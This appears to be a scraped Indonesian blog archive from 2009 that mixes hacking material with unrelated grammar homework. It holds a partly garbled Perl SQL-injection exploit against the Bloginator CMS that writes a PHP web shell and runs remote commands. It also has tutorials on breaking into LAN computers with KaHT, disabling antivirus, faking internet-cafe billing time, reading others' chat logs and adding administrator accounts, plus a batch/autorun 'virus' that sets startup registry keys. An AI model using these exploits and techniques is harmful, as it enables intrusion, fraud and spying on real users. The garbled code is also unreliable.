setcookie("identifyYourself","you are identified");
print "Login successfull
";
print $returnLink;
}
else {print "Wrong username or password";
}
}
[...]
$action = @$_GET['action'];
[...]
$id = $_GET['id'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = "select * FROM articles WHERE id='$id'";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,'title');
$title = htmlentities($title);
$article = mysql_result($sql,0,'article');
$article = htmlentities($article);
$link = mysql_result($sql,0,'link');
$link = htmlentities($link);

startHTML("Edit ID # ".$id);
?>

[/CODE]

[EXPLOIT]

#!/usr/bin/perl

use IO::Socket;
use LWP::UserAgent;

my $host = $ARGV[0];
my $rand = int(rand 9) +1;

my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);

my $php_c0de = "";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

print "[*] Generating error through GET request ..\n";

get_req($host."/osirys_log_test".$rand);

print "[*] Cheeking Apache Error Log path ..\n";

while (($log = <@error_logs>)&&($gotcha != 1)) {
my $regexp = "File does not exist: (.+)\/osirys_log_test$rand";
my $sql_load_file = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,load_file('".$log."'),6,7 order by '*";
$re = sql_socket($sql_load_file,$regexp,"1");
if ($re !~ /Failed/) {
$site_path = $re;
$ok = 1;
}
if ($ok == 1) {
print "[*] Error Log path found -> $log\n";
print "[*] Website path found -> $site_path\n";
&inj_shell;
}
else {
print "[-] Couldn't file error_log !\n";
}
}

sub inj_shell {
my $attack = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,'".$php_c0de."',6,7 into outfile '".$site_path."/1337.php";
my $regexp = "st4rt";
my $re = sql_socket($attack,$regexp,"2");
if ($re == 1) {
print "[*] Shell succesfully injected !\n";
print "[&] Hi my master, do your job now [!]\n\n";
$exec_path = $host."/1337.php";
&exec_cmd;

}
else {
print "[-] Shell not found \n[-] Exploit failed\n\n";
exit(0);
}
}

sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = ;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
my $exec_path_ = $exec_path."?cmd=".$cmd;
my $re = get_req($exec_path_);
my $content = tag($re);
if ($content =~ /st4rt(.+)\*\*6/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < sql =" tag_encode($sql);" url =" $path." data = "GET " identifyyourself="you+are+identified;\r\n" socket =" new" peeraddr =""> $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

$socket->send($data);

if ($way == 1) {
while ((my $e = <$socket>)&&($stop != 1)) {
if ($e =~ /$regexp/) {
$gotcha = $1;
$stop = 1;
}
}
}
elsif ($way == 2) {
my $re = get_req($host."/1337.php");
if ($re =~ /st4rt/) {
$gotcha = 1;
$stop = 1;
}
else {
$gotcha = 0;
$stop = 0;
}
}
if ($stop == 1) {
return($gotcha);
}
else {
return("Failed");
}

}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub tag_encode() {
my $sql = $_[0];
$sql =~ s/ /\%20/g;
$sql =~ s//\%3E/g;
$sql =~ s/"/\%22/g;
return($sql);
}

sub banner {
print "\n".
" ---------------------------\n".
" SQL Command Injection \n".
" via Cookie Bypass \n".
" Bloginator V1A \n".
" by FireShot & Osirys \n".
" ---------------------------\n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

[/EXPLOIT]

############################################################################

Melihat IP Address Pengirim Email Anda

2009-11-17T07:25:00.000-08:00

Melihat IP Address Pengirim Email Anda

Berikut saya memberikan sebuah tutorial bagaimana anda bisa melihat IP Address dan info detail pengirim email anda.

Untuk Yahoo Mail.
1. Login ke account email anda ( http://mail.yahoo.com/ ).
2. Masuk ke inbox dan buka salah satu email yang ingin anda lihat.
3. Pada pojok kanan bawah cari menu tulisan “Full Headers” dan klik tulisan tersebut.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Gmail / Google Mail.
1. Login ke account email anda ( http://gmail.com/ ).
2. Masuk ke inbox
3. Buka salah satu email yang ingin anda lihat,
4. Lihat kanan di bagian atas ada pilihan Reply, terus disamping tulisan Reply ada tanda panah ke bawah, klik tanda panah tersebut dan pilih Show Original.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Hotmail.
1. Login ke account email anda ( http://hotmail.com/ ).
2. Buka salah satu email yang ingin anda lihat
3. Klik kanan email tersebut dan pilih View Source.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Outlook Express.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat.
3. Klik menu Properties.
4. Klik tab Detail.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Untuk Microsoft Outlook.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat dan pilih Options
3. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lai

Ngocol

2009-11-17T07:23:00.000-08:00

Taroan solitare sama tmen
Mau Ngerokok gak punya duit, minta malu mending ajak teman tarohan cepet2an di solitaire XP
pas tmn lengah tekan aja
ALT+SHIFT+2
horeee menang...asyik gw dpt rokok

Windows 98
kalau jalan-2 ke warnet trus dapet tempat/kompi yang butut mo pindah malu dikira rese, ketik aja di start, run trus c:\con\con

kompinya akan blue screen ( tenang gk permanent koq) tinggal restart aja,
trus bilang ma operatornya "Bang kompi gue nih blue screen? pindah tempat dong"

windows 2000/ME/98
klick kanan desktop, property ato
start, control panel, display
arahkan ke screen saver, trus pilih 3-D text screensaver dan property
di text box isi dengan kata "volcano"
trus tampilkan screen savernya
tra--traaa... salah satu nama gue akan muncul disitu ......(kidding)

Freecell Game all windows
Buka game Freecell trus maen seperti biasa, kalau sudah bosen pengen cepet2 menang tekan saja sbb:
CTRL+SHIFT+F10 pilih abort trus maen lagi seperti biasa dan liat hasilnya

Pinball
Tulis "max1" Sebanyak2-Nyah Sblom Start!

nanti Banyak Bonus Bola.[Tergantung kamu nulis-nyah brapa kalee..]

maenan pegawai google klo bosen
http://www.google.com/Easter/feature_easter.html

Windows all versions
Coba bikin folder pake nama prn ato con ato Lpt1
klo bisa msg gw!

Komputer dibawah 233MMX.
Untuk masuk ke BIOSnya. Walau dipassword apa aja. Bakal lewat dengan yg satu ini.
Cobain : AWARD, AWARD_SW, AMI, 575575, 589589.

Microsoft Word
ketik =rand (200,99) pada microsoft word lalu enter, tanpa kutip...saksikan apa yang terjadi...

bahkan bill gates juga ga bisa jelasin kenapa..
*reply klo mo jawabannya Hehe

MIRC
ke Help > About > ketik arnie
lo bakal tao sapa itu arnie Exciting

Buat matiin kompi tetangga (LAN)
Di Run ketik : shutdown -i
ntar kluar box
-tinggal pilih (Add) komputer mana yg jadi korban (tulis ip atawa nama komputer)
-Mo di bikin mokat atawa restart tuh kompi
-Brp detik waktu menuju kematian atawa kerestartan tuh kompi
-Isi comment (klo gw ngejahilin temen yg kurang faham soal kompi gw tulis pesennya kalo kompi itu kena virus, gak brp lama kemudian dia lapor)
* Ga smua kom LAN bisa, soalnya bisa dimatiin service nya
Winamp
Click kanan winamp > pilih Nullsoft
pas logo Winamp,
Shift + Double Click
Ctrl + Double Click..
something inside Hehe

Winamp 5.x with Modern Skin
- putar lagu seperti biasa
Besarin winampnya (Main Windows) dengan cara tarik ke kanan sampai keluar beat-visualisasinya
tahan CTRL+ALT+SHIFT dan klik tengah2 beat-vis
kalau anda berhasil anda akan melihat 2 unta/Lammas berdiri saling berhadapan sambil mengangguk2 sesuai beat lagu
*somehow winamp elo juga bakal nge dance (nge-beat) ikut lagunya

Winamp nge BEAT
nyalaen satu lagu (trance recommended Hehe)..
pencet tombol2 dibawah ini (plan2 aja):
[n] [u] [L] [esc] [L] [esc] [s] [o] [f] [t]
*nullsoft

Photoshop MONKEY!?
pilih menu: Help > About.. dah diinget gambarnya?
close aja.
sambil teken tombol ctrl+alt pilih menu help-about.. ..
jreng.........

MIRC ALL VERSION
Buka MIrc, pilih Help kemudian about
kalau terlihat ada pic khaled arahkan mouse ke idungnya trus pencet sekuatnya
pasti teriak ????
gak Percaya??? coba besarin speakernya

MIRC ALL VERSION
- Buka Mirc, trus Help, About, klick kanan sekali di sembarang tulisan
Jika berhasil akan ada yang bergerak keatas & Kebawah.. temukan jawabannya

- Klik juga ICON MIRCnya pada posisi about tsb
akan ditemukan logo lainnya

Enjoy

Win RAR
buka winrar.exe
ke Help > About.. click gambar buku nya sama gambar lautnya.. klo diperatiin trus ntar ada perahu lwat
Windows Icons War!
tungguin ampe 100%
http://www.xs4all.nl/~jvdkuyp/flash/see.htm

Jangan menghina Bill!
buka notepad
ketik:
bill sux dog dicks tanpa ENTER

lalu simpan text dengan nama terserah, buka lagi
Bill akan menghapusnya dan mengganti dengan tulisan lainnya

Benarkah ????

Buat Programmer Borland C++
ada yg disembunyikan nih dari compilernya. gk percaya ?
ketik aja command line compliernya
C>bcc32.exe -Team

Namanya Team compilernya siapa Coba ???

ada kucing di Borland C++

-buka notepad kemudian tulis commandnya dibawah ini
Code:

#pragma keeka
void main(void) {return 0;}

simpan dengan nama kebo.c
kemudian compile dgn perintah
C:>bcc32 kebo.c
see the result

temukan Jawabannya ?

satu lagi deh masih di Borland C++
ketik aja di notepad trus simpen & compile
Code:

#pragma curious_george

Anda akan melihat message yg tak pernah terlihat

Progamer juga bisa maen SULAP!
http://www.gangqin.cn/heart.htm
ikutin petunjuk nya

CORELDRAW
Buka programnya
Pilih Help, About
trus double klick di icon balonnya

Enjoy

Masih bermain di CorelDraw
tahan Shift + Ctrl kemudian Klick Help, About CorelDraw
double klick di Gambar iconnya kemudian tekan klik- kanan mouse

Kl berhasil ada Elvis jatuh pake Parasut

Enjoy & Find Yourself

Icon desktopnya gk bisa di click
- tekan print screen, buka pbrush trus pastekan, lalu simpan hasil print screen tadi. lalu tutup
- ganti wallpaper dengan hasil simpanan tadi.
- balik ke desktop trus klik kanan di desktop pilih arrange icon by, show desktop matikan (untick)
- trus ngakak deh

No Telpon tmen?
Punya tmen yang tinggal di US sana?
buka google ketik:
phonebook: namanya_siapa kode_state
contoh:
phonebook: wilson SF

masup kekompi lain dengan DOS

2009-11-17T07:06:00.000-08:00

Cara masuk di komputer lain lewat DOS (Windows XP / 2000) Anda ingin
masuk dikomputer teman anda dalam sebuah LAN ? bisa melihat seluruh isi
harddisk teman anda, membuat directory, membuat file, mendelete file atau
apa saja ? itu mudah, semua caranya ada disini.
Pertama-tama anda harus tahu 2 program penting lalu downloadlah yaitu
internet Maniac (Internet Maniac.exe) ... Download Interenet
Maniac
Berfungsi untuk mengetahui ip addreas client melalui computer name /
hostname
KaHT (KaHt.exe) ... Download program hacker
KaHT
Berfungsi sebagai program untuk menerobos ke computer server atau client
Ingat hanya dengan 2 program diatas maka anda bersiap-siaplah menguasai
warnet / kampus / kantor dan sebagainya, lho bagaimana bisa ? hehe
Pertama kali anda periksa dahulu jaringan anda dengan melihat para hostname
dengan 2 cara.
Ingat hanya dengan 2 program diatas maka anda bersiap-siaplah menguasai
warnet / kampus / kantor dan sebagainya, lho bagaimana bisa ? hehe
Setelah 2 program diatas di download maka ekstractlah dahulu program
tersebut, entah pake WINZIP atau pake apa.
Kalo udah di extract lalu pertama kali anda periksa dahulu jaringan anda
dengan melihat para hostname dengan 2 cara.
Untuk Windows XP
Cara Pertama Masuk ke Start Lalu Search, lalu pilih computers or people lalu
pilih A computer on the Network lalu langsung klik search maka akan segera
muncul computer-komputer yang terkoneksi dalam jaringan.
Untuk Windows 95/98/Me/2000 (kalau anda menemukan open port 135 di OS ini)
:)
Cara Pertama Masuk ke Start Lalu Search Lalu For Files or Folders lalu pada
menu Search for other item pilihlah computers, lalu akan muncul Search for
computer, maka langsung klik Search Now maka nama-nama computer akan muncul
(Alternatif cara yang cepat dapat mengklik My Network Place / Network
Neighboure saja)
Setelah loe dapetin sasaran computer yang mau di masukin / diremote maka
loe langsung aja jalankan program Internet Maniac
Masuklah ke Host Lookup lalu ketikkan nama computer / hostname lalu klik
resolve, disini anda akan mendapat alamat ip computer tersebut. Dengan nomor
ip ini maka anda sudah mengetahui sasaran computer yang akan di masuki.
Setelah itu selesai maka kita tinggalkan program Internet Maniac, kita akan
berlanjut dengan program KaHT, program ini akan didetect sebagai Trojan oleh
antivirus, tapi abaikan saja, jangan di hapus / di karantina kalau
terdetect, kalau perlu del aja antivirusnya, satu lagi, program KaHT bekerja
dalam MS-DOS Mode jadi disini kemampuan anda menggunakan DOS sangat penting,
tanpa kemampuan DOS maka anda tidak akan bisa banyak berbuat.
Cara masuk DOS Mode
Untuk Windows XP :
Masuklah ke Start, All programs, Accessories lalu Command Prompt
Untuk Windows 95/98/Me/NT/2000
Masuklah ke Start, Programs, Accessories lalu MS-DOS Prompt
Setelah berhasil masuk DOS maka masuklah di directory program KaHT, masa seh
bisa lupa tadi program diextract dimana, hehe, (Misal tadi di extract di
C:\KaH) maka ketikkan "CD\KaHT" dan seterusnya.
Jika sudah, ini saatnya?
Ketikkan "KaHT sebelum_no_ip_komputer_sasaran no_ip_komputer_sasaran.
kalau bingung bisa begini : "KaHT Ip1 ip2"
ip1 : ip awal yang discan
ip2 : ip terahkir yang discan
Misalnya tadi ip-nya 192.168.0.1 setelah di detect pakek Internet Maniac
tadi itu lho.
Maka ketikkan saja "KaHT 192.168.0.0 192.168.0.1" lalu enter aja
Nah disini nanti program akan bekerja otomatis.
Setelah selesai menscan jika nanti port 135 ternyata dalam keadaan open maka
anda akan otomatis di computer tujuan / sasaran, untuk lebih persisnya anda
akan berada di "c:\windows\system" milik komputer tujuan / sasaran setelah
pen-scan-an selesai.
Anda bisa bebas di computer sasaran, mau edit atau di delete pun bisa, hehe
Nah kalo udah begini kita bisa berkreasi :
Pingin biaya warnet kita lebih murah ? gampang masuk aja di billing server,
ketik Time, ganti aja waktunya, tapi jangan banyak-banyak apalagi minus
nanti ketahuan ama operator warnetnya, hehe.
Memata-matai anak yang sedang chatting pakek MiRC di satu warnet / kampus /
kantor / lainnya, cari program MiRC yang digunakan dalam computer tersebut,
biasanya seh di C:\Program Files\MiRC, buka file MiRC.INI, lalu Log IRC di
On kan saja dan kalo mau lihat isi chattingan teman kita itu cukup lewat
"/logs" maksudnya kalau tadi di C:\program Files\MiRC program MiRCnya maka
cukup masuk aja di C:\Program Files\MiRC\Logs nanti disitu ada file-file log
hasil chattingan dia walaupun dia sedang online tetep aja terekam, hehe,
kalo mau mastiin dia makek nick apa, gampang banget bisa jalanin aja MiRCnya
atau periksa di MiRC.INI, gampangkan.
Apalagi nih, Bikin computer itu rusak, lebih baik jangan, tapi sebenere bisa
lho, delete aja file-file systemnya, hehe.
Diatas cuman kreasi dikit aja, loe bisa aja memanfaatkannya jauh lebih
bermanfaat dari pada diatas
Tujuan dari tutorial ini untuk anda yang sering menggunakan komputer dengan
Windows 2000 dan XP dijaringan agar lebih waspada terhadap berbagai tindakan
usil dari pihak-pihak yang tidak bertanggung jawab..
5.Membuat akses administrator Windows untuk kita lewat komputer lain
Kita ingin membuat administrator Windows XP/2000 di komputer lain melalui
LAN ? sangat mudah, caranya masuklah ke komputer tujuan dengan program kaht
yang sudah diajarkan diatas, lalu kita akan mencoba beberapa trik.
Melihat akses guest dan administrator di Windows
Ketik : net user
Melihat aktif tidaknya guest di Windows
Ketik : net user guest
Membuat akses guest menjadi Administrator dengan perintah :
Ketik : net localgroup Administrators Guest /add
Membuat akses adminstrator sendiri :
1. Ketik : net user /add
2. Ketik : net localgroup Administrators /add
Menghapus akses administrator
Ketik : net localgroup Users /delete

Catatan:
*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah
tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab
anda tanpa kecuali.

Masuk di komputer lain lewat DOS (Windows XP / 2000)

Anda ingin masuk dikomputer teman anda dalam sebuah LAN (Local Area network)? bisa melihat seluruh isi harddisk teman anda, membuat directory, membuat file, mendelete file atau apa saja ? itu mudah, semua caranya ada disini.

Pertama-tama anda harus tahu 2 program penting lalu downloadlah yaitu

internet Maniac (Internet Maniac.exe)
==>Berfungsi untuk mengetahui ip addreas client melalui computer name / hostname

KaHT (KaHt.exe)
==>Berfungsi sebagai program untuk menerobos ke computer server atau client

Dengan hanya dua program diatas maka bersiap2siaplah menjadi khalifah kampus khekhekhekhekhekhehekehek

Lholho ,how could it be?

Download dulu program tersebut lalu ekstrak entah pake winzip ato pake winrar

Oke kita mulai acara party kita....:-))
check dulu jaringan sekitar anda dengan 2 cara
1 st>> Untuk Windows XP

Cara Pertama : StartMenu==>Search==>computers or people==>A computer on the Network==>klik search, maka akan segera muncul computer-komputer yang terkoneksi dalam jaringan.

Untuk Windows 95/98/Me/2000 (kalau anda menemukan open port 135 di OS ini) :)

Cara Pertama : Start==>Search==>For Files or Folders==>Search for other item ==>computers, lalu akan muncul Search for computer,==>Search Now maka nama-nama computer akan muncul
(Alternatif cara yang cepat dapat mengklik My Network Place / Network Neighboure saja)

setelah kamu dapetin ip address target yang kamu incer buat kamu remote kamu jalanin aja internet maniac (imaniac)

on imaniac : 1 klik pada host lookup
2 masukin nama kompi target/hostnamenya
3 then resolve , So tadaaaa kamu dapatin tuh IP address

Leave our imaniac
continue with KaHT

Hati2 program ini di deteck trojan oleh antivirus sooo==> jangan sampai kehapus/dikarantina, kalau perlu del aja antivirusnya:-))
Buat yang pake antivirus mc afee biasanya langsung di d'lete...Pengalaman saya sih hehehehe habis baru newbies khekhekhekhekhekhekhe,,

-----lanjut-------

oh yah kaht dijlanin lewat command prompt jadi antum2 semua layknya minimal tau dikit2 lah, Tanpa kemampuan DOS matiin tu kompi langsung tidur!!!! jangan dekat-dekat deh.Pergi sana!!!!Belajar dulu baru balik

masuk ke command prompt(cmd), tau khan caranya!!!!
kadang2 ada warnet yang suka ngehilangkan file ini dari start menu and gak bisa diakses lewat run, So antum2 harus tau tempat asalnya...

Oh ya biar gampang ekstrak file KaHT ini ke folder c:\, biar gampang aksesnya

So antum2 semua nya ketikkan sebagaimana berikut....heheheheh( ketikkan yang hanya ada dalam 2 tanda petik "blablabls")
c:/"kaht ip addres awal spasi ip address target"

ex:kompi grabik yah!!! :-))
afwan pak penjaga grabik habis antum mbencekno!!!!PUol-puol-puolllll banget. moso maki-maki an ama anak2 pake suara banter maneh!!!!

192.168.101.27==> ip target (kompi no 11 kalo gak salah? aq lupa!!)

c:/kaht 192.168.101.26 192.168.101.27 so

c:/kaht ip awal yang discan ip akhir yang discan

oh yaq 1 lagi 192.168.*.* adalah ip addres buat http, buat yang LAN default gatenya cari dewe informasinya yah!!!aku lupa soalnya

--------------------------lanjut---------------------------- -----------
Setelah selesai menscan jika nanti, inget lho JIKA port 135 ternyata dalam keadaan open maka anda akan otomatis di computer tujuan / sasaran, untuk lebih persisnya anda akan berada di

c:\windows\system

milik komputer tujuan / sasaran setelah pen-scan-an selesai.
Anda bisa bebas di computer sasaran, mau edit atau di delete pun bisa,

SAntai aja jika gagal soalnya, saya sendiri juga sering gagal kok.Tapi jangan putus semangat cari mangsa baru di tempat lain....otreeee

aku cinta windows karena dia Semerbak...and selalu kebobolan seperti kompi kampus kita yang tercinta

#segala yang dituliskan ditas bukanlah bermaksud untuk mengajak melakukan kejahatan, Ilmu selayaknya untuk disebarkan dan dikopi kan secara luas#

referensi : jasakom community.
pakTani
echo
om g**gle tercinta

Kiriman besok penambahan user di kompi target hehehehehehe

ama penutupan jaringan melawan kaHT( tapi agak mengecewakan habis newbies sih) :-((

buat virus dngn html

2009-11-09T07:51:00.000-08:00

ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )

ni ane dapet dari hasil baca-baca “HELP”-nya windows Xp…trus ane modif sendiri…

note: “HANYA BEKERJA PADA WINDOWS XP”

caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:

@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f

- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:

[autorun]
open=nama_file.bat

- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya

note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….

Sumber : http://www.yogyafree.net/forum2/viewtopic.php?t=11281

tugas bahasa inggris bisnis1 ke-3

2009-10-31T20:45:00.000-07:00

What is a clause?

Words and phrases are the parts of language (called constituents) that make up clauses. Clauses are units of grammar that contain at least one predicate (verb) and a subject. A clause, therefore, contains a single verb group.

A simple sentence contains only one clause. Here are some examples of simple sentences that are each comprised of a single clause:

Darby played.
Jamie cooked the dinner.
A man in Cincinnati swam in the river.
Sammy will excel on the varsity team.
Jennifer has been dreaming during class.

A verb group can consist of a single word (such as played, cooked, and swam) or combine multiple words (as in will excel and has been dreaming). The essential component of a clause is the verb; and a clause only contains one verb.

Clause Functions

In the English language, there are eight clause functions:

Subject (S)
Verb (V)
Direct Object (DO)
Indirect Object (IO)
Object Compliment (OC)
Subject Compliment (SC)
Adverbial Compliment (AC)
Adverbial (A)

Here are some example sentences that begin to illustrate the possible clause patterns available in English:

Jessica (S) is doing (V) homework (DO) for her math class (A).
This Sunday (A), I (S) will take (V) the dog (DO) to the park (AC).
The fire (S) was (V) completely devastating (SC).
The boss (S) knows (V) marketing (DO) the best (OC).
Elizabeth (S) danced (V) beautifully (A) in the garden (A).
Richard (S) will give (V) the committee (IO) his proposal (DO).

While there are a variety of combinations at work in these sentences, patterns can begin to be seen upon closer analysis. These simple sentences each have the essential components of a subject and a verb. In addition to these critical components, these sentences also contain clause functions like objects, compliments, and adverbials. These are defined as peripheral clause functions.

The only clause function that can be removed from a clause without making the clause ungrammatical is the adverbial. For example, if you were to remove for her math class from sentence number one above, the remaining clause Jessica is doing homework would still make sense.

Examples of Grammar Clause Patterns

Even though there are eight clause functions in the English language, because of this optional nature of adverbials, there are only seven patterns. Notice how the clause functions of the above sentences can be arranged in a grid:

S V IO DO SC OC AC SV Darby played SVC The fire was devastating SVA Jim went there SVO Jessica is doing homework SVOO Richard will give the committee his proposal SVOC The boss knows marketing the best SVOA I will take the dog to the park

This grid acts as a visual guide to make the arrangement of clause patterns easier to see. Seeing the finite structural possibilities that are possible is an effective way to minimize errors in our writing. In addition, it is important to understand how these clause patterns are grouped in relation to the most common verb types in the English language.

Transitive Verbs – Transitive verbs require both a subject and at least one object.Jessica is doing homework. The clause patterns SVO, SVOO, SVOC, and SVOA are used with transitive verbs.Copular Verbs - In English, the main copula verb form is to be. Subjects are linked to subject compliments or adverbials with copula verbs.The fire was devastating.The clause patterns SVC and SVA utilize copula verbs.Intransitive Verbs – Intransitive verbs have a subject but do not have an object.Darby played.The basic clause pattern for intransitive verbs is SV.An Effective Way to “See” LanguageUnderstanding the organization of grammar clause patterns is a useful way for any student or teacher of the English language to visualize how the deeper structures of language function. This knowledge is particularly useful for ESL students and ESL teachers. Comparing and contrasting these patterns as the function in English with the ESL student’s primary language (L1) is an effective way to make important syntactical distinctions and improve comprehension in both reading and writing.

Conditional sentences

The conditional sentences are sometimes confusing for learners of English.
Watch out:
1) Which type of the conditional sentences is used?
2) Where is the if-clause (e.g. at the beginning or at the end of the conditional sentence)?
There are three types of the if-clauses.

type condition

I condition possible to fulfill

II condition in theory possible to fulfill

III condition not possible to fulfill (too late)

Form

type if clause main clause

I Simple Present will-future (or Modal + infinitive)

II Simple Past would + infinitive *

III Past Perfect would + have + past participle *

Examples (if-clause at the beginning)

type if clause main clause

I If I study, I will pass the exam.

II If I studied, I would pass the exam.

III If I had studied, I would have passed the exam.

Examples (if-clause at the end)

type main clause if-clause

I I will pass the exam if I study.

II I would pass the exam if I studied.

III I would have passed the exam if I had studied.

Examples (affirmative and negative sentences)

type Examples

long forms short/contracted forms

I + If I study, I will pass the exam. If I study, I'll pass the exam.

- If I study, I will not fail the exam.
If I do not study, I will fail the exam.
If I study, I won't fail the exam.
If I don't study, I'll fail the exam.

II + If I studied, I would pass the exam. If I studied, I'd pass the exam.

- If I studied, I would not fail the exam.
If I did not study, I would fail the exam. If I studied, I wouldn't fail the exam.
If I didn't study, I'd fail the exam.

III + If I had studied, I would have passed the exam. If I'd studied, I'd have passed the exam.

- If I had studied, I would not have failed the exam.
If I had not studied, I would have failed the exam. If I'd studied, I wouldn't have failed the exam.
If I hadn't studied, I'd have failed the exam.

* We can substitute could or might for would (should, may or must are sometimes possible, too).

Conditional Sentences are also known as Conditional Clauses or If Clauses. They are used to express that the action in the main clause (without if) can only take place if a certain condition (in the clause with if) is fulfilled. There are three types of Conditional Sentences.

Conditional Sentence Type 1

→ It is possible and also very likely that the condition will be fulfilled.

Form: if + Simple Present, will-Future

Example: If I find her address, I’ll send her an invitation.

more on Conditional Sentences Type I ►

Conditional Sentence Type 2

→ It is possible but very unlikely, that the condition will be fulfilled.

Form: if + Simple Past, Conditional I (= would + Infinitive)

Example: If I found her address, I would send her an invitation.

more on Conditional Sentences Type II ►

Conditional Sentence Type 3

→ It is impossible that the condition will be fulfilled because it refers to the past.

Form: if + Past Perfect, Conditional II (= would + have + Past Participle)

Example: If I had found her address, I would have sent her an invitation.

more on Conditional Sentences Type III ►

Exceptions

Sometimes Conditional Sentences Type I, II and III can also be used with other tenses.

more on Conditional Sentences used with other tenses ►

Exercises on Conditional Sentences

Conditional Sentence Type 1

Exercise on If Clauses Type I Level: elementary
Exercise 2 on If Clauses Type I Level: elementary

Conditional Sentence Type 2

Exercise on If Clauses Type II Level: lower intermediate
Exercise 2 on If Clauses Type II Level: lower intermediate

Conditional Sentence Type 3

Exercise on If Clauses Type III Level: intermediate
Exercise 2 on If Clauses Type III Level: intermediate

Mixed Exercises on Conditional Sentences

